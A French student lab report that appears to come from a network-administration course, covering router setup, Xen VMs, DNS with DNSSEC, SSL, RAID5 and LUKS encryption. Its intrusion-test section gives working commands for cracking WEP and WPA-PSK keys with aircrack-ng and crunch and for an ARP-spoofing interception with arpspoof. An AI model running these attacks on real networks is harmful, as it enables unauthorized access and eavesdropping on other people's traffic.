TP sysres IMA2a5 2020/2021 G4 : Différence entre versions

Version actuelle datée du 13 décembre 2020 à 16:03

Installation de l'architecture matérielle

Dans un premier temps, nous nous sommes occupés de l'aspect Hardware du projet. Le but étant de connecter entre eux les différents éléments suivants : Routeur 6509, Serveur de virtualisation R540, commutateur 3560-E & ISR 4331. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connecté au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre présente dans les salles. Cela aurait donné le schéma ci-dessous :

Schéma mis au propre par Alexandre GLAINE après avoir fait un brouillon au tableau lors de la réunion d'équipe

Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système. Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante :

Schéma modifié par Alexandre GLAINE après que Crispin DJAMBA et moi-même nous sommes rendus compte que nous ne pouvions utiliser que la moitié de la fibre.

Ainsi, les connexions fibres sont partagées entre les deux cartes de supervision. Ces dernières sont connectées entre elles via le fond de panier. De cette manière, nous aboutissons à la connexion suivante :

Ici, le R540 et le 3560-E sont connectés à la seconde carte de supervision. La première, quant à elle, est directement connectée à l'ISR 4331 et au réseau Polytech. Pour vérifier que notre système est bien connecté au réseau Polytech, nous sommes descendu dans la salle ----- et avons vérifié la bonne connexion en envoyant un signal lumineux à travers la fibre. Grâce à cela, nous avons également décelé des erreurs comme une inversion du Tx et du Rx, que nous avons immédiatement corrigées.

Les connexions commutateur3560-E / l'ISR4331 et commutateur3560-E / R540 ont été faites grâce à des câbles RJ45. L'ISR 4331 a également été connecté au réseau SDSL directement dans la salle E304.

Ainsi, cette configuration matérielle permet d'avoir une connexion entre tous les éléments tout en gardant à l'esprit l'aspect de sécurité. En effet, le routeur 6509 n'est pas placée dans la même salle que le Serveur de virtualisation R540, le commutateur 3560-E et l'ISR 4331. De ce fait, si un aléa comme un incendie se déclare dans l'une des salles, le reste du système reste intacte.

Mise en place des machines virtuelles

Création

Chacun a ensuite créé sa machine virtuelle. Lionel SAWICZ et moi avons également créé celles de Samuel CRAMETTE et Nathan COULON car ils étaient occupés sur une autre tâche. Pour cela, nous nous sommes connectés sur le serveur capbreton en ssh. Ensuite, nous avons pu créer nos machines en les paramétrant grâce à la commande suivante :

xen-create-image --hostname=Falcon --ip=193.48.57.167 --gateway=193.48.57.163 --dir=/usr/local/xen --dist=beowulf

On peut vérifier l'avancement de l'installation grâce à :

tail -f /var/log/xen-tools/Falcon.cfg

Démarrage

Pour lancer ma machine virtuelle, j'ai utilisé la commande :

xen create /etc/xen/Falcon.cfg
xen console Falcon

Configuration

Le mot de passe par défaut étant vraiment compliqué, j'ai pu le changer avec passwd. Cependant, il m'était impossible de me connecter sur ma machine virtuelle. C'est pourquoi, j'ai également dû effectuer des changements dans les fichiers "/etc/ssh/ssh_config" (pour autoriser la connexion en ssh) et "/etc/network/interfaces" (pour changer l'adresse de la gateway). Il ne me restait plus qu'à redémarrer le service :

ifdown eth0
ifup eth0
service ssh restart

Utilisation

Je peux maintenant avoir accès directement à ma machine virtuelle en tapant la commande :

ssh root@193.48.57.167

Configuration IPV6

Routage de site IPV6

Il fallait également configurer les routeurs de manière à ce que nos machines puissent se construire des adresses IPV6. Pour ma part, je me suis occupé du routeur 6509E. Nous avons fixé le préfixe IPV6 de notre promotion à 2001:660:4401:60a0::/60. La configuration IPV6 pour l'un des trois VLAN s'est faite de la manière suivante :

sh run int vlan1

interface Vlan1
 ip address 10.6..0.1 255.255.255.0
 ipv6 address 2001:660:4401:60A1::/64 eui-64
 ipv6 enable
 ipv6 nd prefix 2001:660:4401:60A1::/64 1000 900
 ipv6 nd router-preference High
end

Je me suis préalablement assuré que le 6509E est en mode double pile IPV4/IPV6 avec :

sdm prefer dual-ipv4-and-ipv6 default

Ensuite, j'ai effectué la configuration globale grâce à la commande :

ipv6 unicast-routing

Interconnexion avec internet

Après avoir activé le protocole RIPV6 avec

ipv6 rip tpima5sc enable

J'ai cherché à interconnecter le routeur 6509E avec celui de Polytech en utilisant le protocolant activé précédemment de la manière suivante :

ipv6 router rip tpima5sc
 redistribute connected metric 1
 redistribute rip 1 metric 1
 redistribute static metric 1

Mise en place du serveur DNS

Pendant que mes autres camarades étaient penchés sur d'autres tâches, je me suis intéressé à la mise en place du serveur DNS avec Lena CHENU de manière à pouvoir leur transmettre mes recherches et leur faire gagner du temps.

Modification des fichiers de configuration

Dans un premier temps, j'ai acheté un nom de domaine, nommé "salsifis.site", via la plateforme gandi.net. Le but du serveur DNS est de traduire ce nom de domaine en adresse IP. Pour cela, j'ai commencé par inscire l'IP de la machine autorisée à communiquer avec mon serveur DNS en modifiant le fichier /etc/bind/named.conf.options de la manière suivante :

 options {
        directory "/var/cache/bind";
        forwarders {
               0.0.0.0;
        };
        dnssec-validation auto;
        listen-on-v6 { any; };
        allow-transfer { "allowed_to_transfer"; };
 };
 acl "allowed_to_transfer" {
   217.70.177.40/32;
 };

Ensuite, il a fallu définir une zone correspondant à mon domaine (salsifis.site). Pour cela, j'ai modifié cette fois-ci le fichier /etc/bind/named.conf.local comme présenté ci-dessous :

 zone "salsifis.site" {
 type master;
 file "/etc/bind/db.salsifis.site";
 };

L'étape suivante fut d'écrire le fichier de zone qui est le fichier de configuration du domaine. Ce fichier, nommé /etc/bind/db.salsifis.site, s'écrit donc :

 $TTL    3600
 @   IN      SOA     ns.salsifis.site. postmaster.salsifis.site. (
                       1        ; Version
                       1800     ; Refresh (30m)
                       600      ; Retry (10m)
                       3600     ; Expire (1h)
                       3600 )   ; Minimum TTL (1h)
     IN NS ns.salsifis.site.
     IN NS ns6.gandi.net.
 ns  IN A   193.48.57.167

Vérification et service Bind9

J'ai trouvé une commande sur internet qui m'a permis de déceler les erreurs de syntaxe dasn mon fichier. J'ai de ce fait utilisé la commande

 named-checkzone salsifis.site /etc/bind/db.salsifis.site

de manière à ne pas relancer le service bind9 avec des erreurs.

Une fois avoir tout corrigé, j'ai enfin pu lancer la commande

 service bind9 restart

Si le processus se déroule bien, la console nous affiche "ok".

Pointage du nom de domaine vers mon DNS

Une fois le DNS opérationnel, il a fallu faire pointer mon nom de domaine salsifis.site vers mon DNS ainsi créé. Pour cela, je suis allé sur Gandi.net dans la rubrique "Glue Record" afin de cibler le nom de domaine vers l'adresse IP de ma machine virtuelle. La rubrique "Serveurs de noms" m'a servi à établir ns6.gandi.net comme serveur secondaire.

Sécurisation de mon site web par certificat

Pour réaliser cette partie, j'ai commencé par installer un paquetage nécessaire

 apt-get install apache2

Le but est ici d'utiliser SSL (signifiant en anglais "Secure Socket Layer") qui est un protocole permettant d'établir un canal sécurisé entre deux machines qui communiquent sur un même réseau. Pour cela, il faut générer un certificat par l'intermédiaire de deux clefs. Pour une question de clarté, j'ai créé un dossier afin de travailler dans un répertoire donné :

 mkdir certificates
 ls
 >> apache2.conf  conf-available  envvars  mods-available  ports.conf	sites-enabled
    certificates  conf-enabled    magic    mods-enabled    sites-available
 cd certificates/

Pour concevoir les clefs .key et .csr, j'utilise l'utilitaire OpenSSL de la manière ci-dessous :

 openssl req -nodes -newkey rsa:2048 -sha256 -keyout AvezServer.key -out AvezServer.csr 
 >> Generating a RSA private key
    ................+++++
    ...+++++
    writing new private key to 'AvezServer.key'
    -----

 Country Name (2 letter code) [AU]:France
 string is too long, it needs to be no more than 2 bytes long
 Country Name (2 letter code) [AU]:FR  
 State or Province Name (full name) [Some-State]:Nord
 Locality Name (eg, city) []:Lille
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille
 Organizational Unit Name (eg, section) []:ima2a5            
 Common Name (e.g. server FQDN or YOUR name) []:salsifis.site
 Email Address []:thibaut.avez@polytech-lille.net
 Please enter the following 'extra' attributes
 to be sent with your certificate request
 A challenge password []:glopglop
 An optional company name []:

On peut remarquer que l'utilitaire a besoin d'un certain nombre d'informations pour traiter notre demande et générer les bonnes clefs. Les deux fichiers générés par cette dernière commandes sont donc ma clef privée (AvezServer.key) et la clef que je vais transmettre à Gandi (AvezServer.csr). Directement sur le site de Gandi, j'ai pu donc lui partager le fichier AvezServer.csr en faisant un copier-coller de :

 cat AvezServer.csr
 -----BEGIN CERTIFICATE REQUEST-----
 MIIC/TCCAeUCAQAwgZ4xCzAJBgNVBAYTAkZSMQ0wCwYDVQQIDAROb3JkMQ4wDAYD
 VQQHDAVMaWxsZTEXMBUGA1UECgwOUG9seXRlY2ggTGlsbGUxDzANBgNVBAsMBmlt
 YTJhNTEWMBQGA1UEAwwNc2Fsc2lmaXMuc2l0ZTEuMCwGCSqGSIb3DQEJARYfdGhp
 YmF1dC5hdmV6QHBvbHl0ZWNoLWxpbGxlLm5ldDCCASIwDQYJKoZIhvcNAQEBBQAD
 ggEPADCCAQoCggEBAKTGfoCmWuKExefnZbcj2jQNy6LStNorQCQdsVeQ3gFtZpWV
 44r8vpVtpHe3NjkaToOsl3Yv4yp/VrXRGpJNQxSf/ETROk8aB4pqJ5k0KbA4nIIm
 KOwR56dCGzENpxSuz6OktperCa+lrckKoNkb+NSKfowfYxZZbBqsmBApMOuVDPT0
 H+H9BVdKOv4GyCv+f3P8yHqQStaG98DPbIr5n4gFa8sZdP41ZRBVZ4ZaV8G0Oz+D
 u0IS1/xTizBiJ1lnVVEp72Dah232D9SoLNLZFbo6gstKB4diR5R+md29QOYTgp8Y
 fAUdXJCoS44WteWnW1ufj6bquKER8y7kEa/4ob8CAwEAAaAZMBcGCSqGSIb3DQEJ
 BzEKDAhnbG9wZ2xvcDANBgkqhkiG9w0BAQsFAAOCAQEAVjWxFs29FS15jUTgrREj
 zKay7E3EoMPcTYG8hxciacL+Clvk+et0hXSBOmtaC9uzR9tWKW+WPso8w1Vhk2dO
 90qE0f5dmPTlpG6PHkGGTh63L/ztDPIvr4TTmcuBkcP72ndt2AJi8uTvBscCsxcj
 fEtsEQkXXOGrsq6Xam9yMRIkoKP2n+HnDBT7PH5XnUU4irwusH9wmFHJanaDryBt
 hGWM4JrmV0xv47yrZyvSyDW1Kue8dz6IKNpip+UNnSUjOcr8ZXBIaf+oLOS8elk/
 ZY70FPTTYfiDVwkNleT1vydlrowqk8/KR0Z6IRUoG+MMCyI3hrzvtdzbJjwnc78u
 rw==
 -----END CERTIFICATE REQUEST-----

Une fois que Gandi a validé et certifié mon domaine, j'ai pu à mon tour récupérer les fichiers salsifis.site.crt et GandiStandardSSLCA2.pem sur Gandi et les déposer sur ma zabeth. Je les ai ensuite mis sur ma machine virtuelle (Falcon) grâce aux commandes

 scp GandiStandardSSLCA2.pem  root@193.48.57.167:/etc/apache2/certificates
 scp salsifis.site.crt  root@193.48.57.167:/etc/apache2/certificates

qui m'ont permis de faire un copier-coller entre deux machines (la zabeth vers ma VM).

J'ai ensuite rajouté les lignes

 SSLEngine on
 SSLCertificateFile /etc/apache2/certificates/salsifis.site.crt
 SSLCertificateKeyFile /etc/apache2/certificates/AvezServer.key
 SSLCertificateChainFile /etc/apache2/certificates/GandiStandardSSLCA2.pem

dans le fichier de configuration pour sécuriser le SSL. Mais avant de relancer apache2, j'ai besoin d'activer le SSL avec la commande :

 a2enmod ssl

Je redémarre enfin le service :

 service apache2 restart

Sécurisation de mon serveur DNS par DNSSEC

Dans un premier temps, je me suis assuré que l’option dnssec-enable yes avait bien été ajoutée au fichier /etc/bind/named.conf.options.

Génération des clefs

Par la suite, je vais générer plusieurs clefs. Pour ne pas m'y perdre, j'ai créé un dossier qui les contiendra :

 cd /etc/bind
 mkdir salsifis.site.dnssec
 cd salsifis.site.dnssec/

Une fois dans le dossier en question, je me suis lancé dans la création de ces fameuses clefs. Je commence ainsi par créer la clef asymétrique de signature de clefs de zone :

 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n 
 ZONE salsifis.site

 >> Generating key pair.............................+++++ 
 ...................................+++++
 Ksalsifis.site.+005+47332

Vient ensuite le tour de la clef asymétrique de la zone pour signer les enregistrements :

 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE 
 salsifis.site

 >> Generating key pair.................+++++ 
 .....................................+++++ 
 Ksalsifis.site.+005+27183

Les clefs ainsi créées vont par paire (privée & publique) mais leur noms se révèlent compliqués pour les distinguer. J'ai donc renommé les deux paires (KSK et ZSK) de la manière suivante :

 mv Ksalsifis.site.+005+47332.key salsifis.site-ksk.key
 mv Ksalsifis.site.+005+47332.private salsifis.site-ksk.private
 mv Ksalsifis.site.+005+27183.key salsifis.site-zsk.key
 mv Ksalsifis.site.+005+27183.private salsifis.site-zsk.private

Ainsi, notre dossier contient les fichiers suivants :

 ls
 >> dsset-salsifis.site.   salsifis.site-ksk.private  salsifis.site-zsk.private
 salsifis.site-ksk.key  salsifis.site-zsk.key

Il ne reste plus qu'à inclure les clefs publiques dans mon fichier de zone nommé db.salsifis.site :

 $TTL    3600
 $include /etc/bind/salsifis.site.dnssec/salsifis.site-ksk.key
 $include /etc/bind/salsifis.site.dnssec/salsifis.site-zsk.key
 @   IN      SOA     ns.salsifis.site. postmaster.salsifis.site. (
                       2        ; Version
                       1800     ; Refresh (30m)
                       600      ; Retry (10m)
                       3600     ; Expire (1h)
                       3600 )   ; Minimum TTL (1h)
   IN NS ns.salsifis.site.
   IN NS ns6.gandi.net.
   IN MX 100 ns
 ns  IN A   193.48.57.167
 www IN A   193.48.57.167

Signature des enregistrements de la zone

Pour effectuer les enregistrements de la zone, on se place dans le répertoire /etc/bind/salsifis.site.dnssec et on exécute la commande suivante :

 dnssec-signzone -o salsifis.site -k salsifis.site-ksk ../db.salsifis.site salsifis.site-zsk

 Verifying the zone using the following algorithms: RSASHA1.
 Zone fully signed:
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                     ZSKs: 1 active, 0 stand-by, 0 revoked
 ../db.salsifis.site.signed

Comme on peut le voir si dessus, le message que nous renvoie le terminal nous confirme bien que la zone a été totalement signée. On finit par relancer le Bind9 de manière à pointer sur le nouveau fichier signé.

Tests d'intrusion

Installation

Dans un premier temps, j'ai installé l'utilitaire aircrack-ng qui va par la suite me servir à attaquer les clés WEP et WPA2-PSKgrâce à la commande :

 apt-get install aircrack-ng

Cassage de la clé WEP

Pour ma part, je me suis trompé de numéro lors de l'attaque de la clé WEP. C'est pourquoi j'exposerai dans la suite de cette partie comment je m'y suis pris pour trouver la clef WEP de cracotte5 et non de cracotte4. L'utilitaire installé précédement va me permettre d'utiliser les différentes commandes dqns la suite de cette partie. Par exemple, pour lister les différentes interfaces sans fils disponibles sur mon ordinateur, j'utilise :

 airmon-ng 
 
 PHY      Interfaces        Drivers     Chipset
 
 phy3     wlx40a5ef0f679b   rt2800usb   Ralink Technology, Corp.RTS370

Grâce à cela, on trouve notre point d'accès qui est le suivant : wlx40a5ef0f679b. On veut analyser les trames sur le Wifi. Mais pour cela, il faut faire passer la carte Wifi en mode monitor de la manière suivante :

 airmon-ng start wlx40a5ef0f679b

A ce moment, on peut vérifier ggrâce à airmon-ng que le point d'accès se nomme désormais wlan0mon :

 airmon-ng 
 
 PHY      Interfaces     Drivers     Chipset
 
 phy3     wlan0mon       rt2800usb   Ralink Technology, Corp.RTS370

On peut alors écouter les trames Wifi grâce à airodump-ng. Ici, on se concentre sur ce qu'il se passe sur le channel 9 (celui sur lequel se trouve cracotte5) :

 airodump-ng --encrypt wep -c 9 wlan0mon

Cela nous permet de récupérer le bssid de cracotte5 : 04:DA:D2:9C:50:54

On peut de ce fait filtrer notre recherche en n'écoutant que le channel 9 et en y ajoutant son bssid. La commande suivante va nous permettre de détecter toutes les trames qui passeront et les enverra dans un fichier nommé "AvezAirodump.txt"

 airodump-ng -c 9 --bssid 04:DA:D2:9C:50:54 -w AvezAirodump.txt wlan0mon

Dans un autre terminal, on tape la commande suivante :

 aircrack-ng -b 04:DA:D2:9C:50:54 AvezAirodump.txt.cap 

Après plusieurs minutes d'attente, on trouve enfin la clef WEP du point d'accès Wifi :

Cassage de mot de passe WPA-PSK

Récupération du Handshake

Pour trouver le mot de passe WPA-PSK, j'ai utilisé le même outils que précédemment. C'est pour cela qu'on réitère la même procédure. Tout d'abord, je fais en sorte de lister les interfaces WiFi disponibles avec :

 airmon-ng

On obtient la liste ci dessous :

 PHY	Interface	  Driver	  Chipset
 phy0	wlx40a5ef0f679b	  rt2800usb       Ralink Technology, Corp. RT5370 

On passe la carte Wifi en mode monitor :

 airmon-ng start wlx40a5ef0f679b	

Suite à cela, l'interface wlx40a5ef0f679b sera renommée en wlan0mon. Maintenant, si on réutilise airmon-ng pour lister de nouveau des interfaces Wifi disponibles on obtient :

 PHY	Interface    Driver	  Chipset
 phy0	wlan0mon     rt2800usb    Ralink Technology, Corp. RT5370 

Le nom de l'interface a donc bien été modifié.

On réutilise ensuite :

 airodump-ng wlan0mon

dans le but de récupérer le BSSID afin d'afficher les trames qui passent. On remarque que les trames de kracotte* se trouvent sur le channel 4 et que BSSID de la kracotte04 est 00:14:1B:60:8C:24. J'ai donc pu filtrer ma recherche de manière à n'observer que les trames qui passent vers kracotte04 avec :

 airodump-ng -c 4 --bssid 00:14:1B:60:8C:24 -w AvezWPA.txt wlan0mon

Comme précédemment, j'ai enregistré toutes les trames qui passaient et je les ai envoyé dans un fichier nommé "AvezWPA.txt"A ce moment, j'ai du attendre environ un quart d'heure de manière à voir le handshake s'afficher à l'écran comme sur l'image ci-dessous :

Exécuttion de Aircrack sur différentes zabeth

Une fois le handshake récupéré, j'ai créé mon propre dictionnaire contenant l'ensemble des mots de passes potentiels. En effet, nous savions que le mot de passe n'était composé que de 8 chiffres aléatoires. J'ai donc dans un premier temps créé un dictionnaire, nommé DicoComplet, contenant les 100 000 000 possibilités grâce à la simple commande

 crunch 8 8 0123456789 >> DicoComplet.txt

Cependant si je lançais la commande aircrack-ng tout de suite, ma machine mettrait un très long moment à trouver la clef en testant toutes les possibilités. Pour pallier ce problème, j'ai divisé mon dictionnaire en 5 fichiers distincts avec

 split -b 200m DicoComplet.txt

On peut vérifier que cela à bien fonctionné en regardant le contenu des fichiers générés

 ls
 >> DicoComplet.txt   xaa   xab   xac   xad   xae

Posséder ces différents fichiers va me permettre d'exécuter la commande aircrack-ng sur d'autres zabeth de manière à diminuer le temps de recherche du mot de passe. Pour cela, j'ai procédé de la manière suivante sur chaque zabeth :

1. Connexion sur les zabeth, création du dossier de travail et copie des fichiers à utiliser

 ssh zabethXX
 mkdir .Thib
 scp AvezWPA.txt-04.cap root@zabethXX:~/.Thib/AvezWPA.cap
 scp ~/Documents/ThibautAvez/xaa root@zabeth06:~/.Thib/xaa

2. Cassage de la clef WPA :

 aircrack-ng -w xaa AvezWPA.cap

3. Affichage de la recherche du mot de passe

Ici on voit que le mot de passe est recherché sur différentes machines en même temps, ce qui diminue énormément le temps de recherche.

Mot de passe trouvé

                             Aircrack-ng 1.5.2 
     [00:19:28] 20290947/24000647 keys tested (13741.35 k/s) 
     Time left: 4 minutes, 29 seconds                          84.54%
                          KEY FOUND! [ 20122222 ]
     Master Key     : D6 7E C6 61 10 48 3A 5D 4D C5 71 0D 90 87 1A CA 
                      05 8B E3 4A 6D E8 DC B3 41 DD 96 69 F8 4A BF 80 
     Transient Key  : 69 A6 0F 8C 6A 40 0A 8A 58 47 0B 9E 3A 99 62 9B 
                      A8 7E D8 67 94 20 AA CA A7 1F E6 74 76 24 4C 6D 
                      D6 28 BC 6C DB 50 BB 54 B4 5D 19 0E 0C 57 21 AE 
                      A6 0A 67 67 77 38 B7 B8 53 9F 8B 42 80 FF B1 EC 
     EAPOL HMAC     : 2C 89 DA A5 CE 6F BA E2 21 FB 3B D0 58 3A 4E 01

Sur l'une des zabeth, on voit ce message s'afficher au bout d'une grosse vingtaine de minutes. On a donc trouvé le mot de passe 20122222 !

Attaque de type "Homme au milieu"

Pour effectuer cette attaque, j'ai commencé par installer le paquetage dnsniff. La première chose à faire a été de configurer ma machine en mettant /proc/sys/net/ipv4/ip_forward à 1. J'ai ensuite vérifié que proc/sys/net/ipv4/conf/all/rp_filter et /proc/sys/net/ipv4/conf/defaut/rp_filter étaient bien à 0.

Le reste ne se résume qu'en une seule commande :

 arpspoof -i bridge -t zabeth07 172.26.145.254

Cette dernière permet d'envoyer en continue des réponses ARP sur la machine que nous voulons espionner pour se faire passer pour le routeur. Lorsque la machine cible nous prend pour le routeur, il suffit d'ouvrir un sniffeur tel que Wireshark afin de l'espionner, comme sur la photo ci-dessous :

Réalisations

Le but de cette partie est de réaliser des infrastructures réseaux. Cependant, j'ai malheureusement oublié de m'envoyer le fichier texte dans lequel j'avais noté certaines commandes lors de la dernière séance. Et, lorsque j'ai voulu les récupérer en me connectant à distance, on m'a refusé l'accès. De ce fait, j'écrirai ici la démarche et les commandes utilisées mais je ne pourrai pas indiquer les réels noms des dossiers.

Sécurisation de données

Utilisation de LVM

Le but est de sécuriser des données. Pour cela, je souhaite créer une redondance entre les systèmes de stockage. Afin de créer cette redondance (virtuelle), je vais utiliser RAID5, un système de virtualisation de stockage de données. J'ai ainsi commencé par créer trois partitions LVM de 1Go sur mon serveur :

  lvcreate -L1G -n NomDuPremierDisque virtual
  lvcreate -L1G -n NomDuSecondDisque virtual
  lvcreate -L1G -n NomDuTroisiemeDisque virtual

La commande

 lvdisplay

permet de visualiser les disques créés et donc de vérifier que nos trois partitions de 1Go sont bien présentes.

Il faut mainteant les formatter :

  mke2fs /dev/virtual/NomDuPremierDisque virtual
  mke2fs /dev/virtual/NomDuSecondDisque virtual
  mke2fs /dev/virtual/NomDuTroisiemeDisque virtual

Une fois mes disques virtuels formattés, je dois les associer à ma machine virtuelle Falcon. Je commence par éteindre cette dernière :

 xl shutdown Facon

Je me rends ensuite sur Capbreton afin d'ajouter au fichier /etc/xen/Facon.cfg les lignes suivantes :

  disk= [   ......................
            'phy:/dev/virtual/NomDuPremierDisque ,xvda1, w',
            'phy:/dev/virtual/NomDuSecondDisque ,xvda2,w',
            'phy:/dev/virtual/NomDuTroisiemeDisque ,xvda3,w',
  ]

je peux enfin rallumer ma machine virtuelle :

 xl create /etc/xen/Falcon.cfg

Utilitaire mdadm

A présent, grâce à l'utilitaire mdadm, je peux créer le RAID5 en tapant les commandes suivantes :

 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvda1 /dev/xvda2 /dev/xvda3

 mdadm --monitor --daemonise /dev/md0

La dernière commande permet de formatter le disque tout juste créé :

 mkfs.ext4 /dev/md0

Chiffrement de données

Cette partie est destinée au cryptage de données contenues sur une clef USB. Une fois cela effectué, il faudra donc entrer un mot de passe pour accéder au contenu de la clef.

Je commence par installer les paquetages nécessaires :

 apt-get install lvm2
 apt-get install cryptsetup

Chiffrage du périphérique

Je peux regarder quels sont les périphériques disponibles pour trouver celui qui correspond à la clef USB grâce à la commande

 lsblk

L'utilitaire fdisk va me permettre de formatter la clef de manière à pouvoir la manipuler librement et à effacer un potentiel cryptage déjà installé dessus.

 fdisk /dev/sda
 Command (m for help) :

Cet utilitaire me donne ainsi accès à plusieurs outils que je vais utiliser : p (comme partition) permet d'étudier l'état des différentes partitions présentes sur la clef. d (comme delete) supprime les partitions choisies. w (comme write) est la commande qui permet de quitter en sauvegardant les modifications apportées à la clef.

Lorsque la clef est prête à être chiffrée, j'utilise

 cryptsetup -y -v luksFormat /dev/sda1

A ce moment, on nous demande un mot de passe. Il s'agit du mot de passe qui servira à débloquer la clef pour pouvoir accéder à son contenu. Pour ma part, j'ai utilisé glopglop.

Maintenant que la clef est sécurisée, il faut l'ouvrir avec

 cryptsetup luksOpen /dev/sda1 AvezCrypt

 cd /dev/mapper/
 ls
 >>nano AvezCrypt

J'ai ensuite créé un système de fichiers avec

 mke2fs /dev/mapper/AvezCrypt

Dans le but de monter le périphérique, je crée un dossier dans mnt/

 mkdir /mnt/AvezCrypt/
 mount -t ext2 /dev/mapper/AvezCrypt /mnt/AvezCrypt/

Afin de voir à la fin si cela fonctionne, j'ai décidé de copier un répertoir sur la clef pour voir si je pourrai le lire ensuite.

 cp /home/pifou/Documents/Avez /mnt/AvezCrypt/

Je peux enfin démonter le périphérique :

 umount /mnt/AvezCrypt

Puis le fermer de manière sécurisée :

 cryptsetup luksclose AvezCrypt

Test

Pour vérifier que cela fonctionne, j'ai simplement commencé par retirer la clef de son port. Je l'ai ensuite connecté sur un autre PC. Au démarrage de la clef, on s'aperçoit qu'un mot de passe nous est demandé. Rentrer glopglop permet effectivement d'avoir accès au contenu de la clef. Enfin, si on y regarde de plus près, on s'aperçoit que les fichiers qui sy trouvent correspondent bien aux fichier que j'ai copié précédemment et que je peux y accéder sans problème.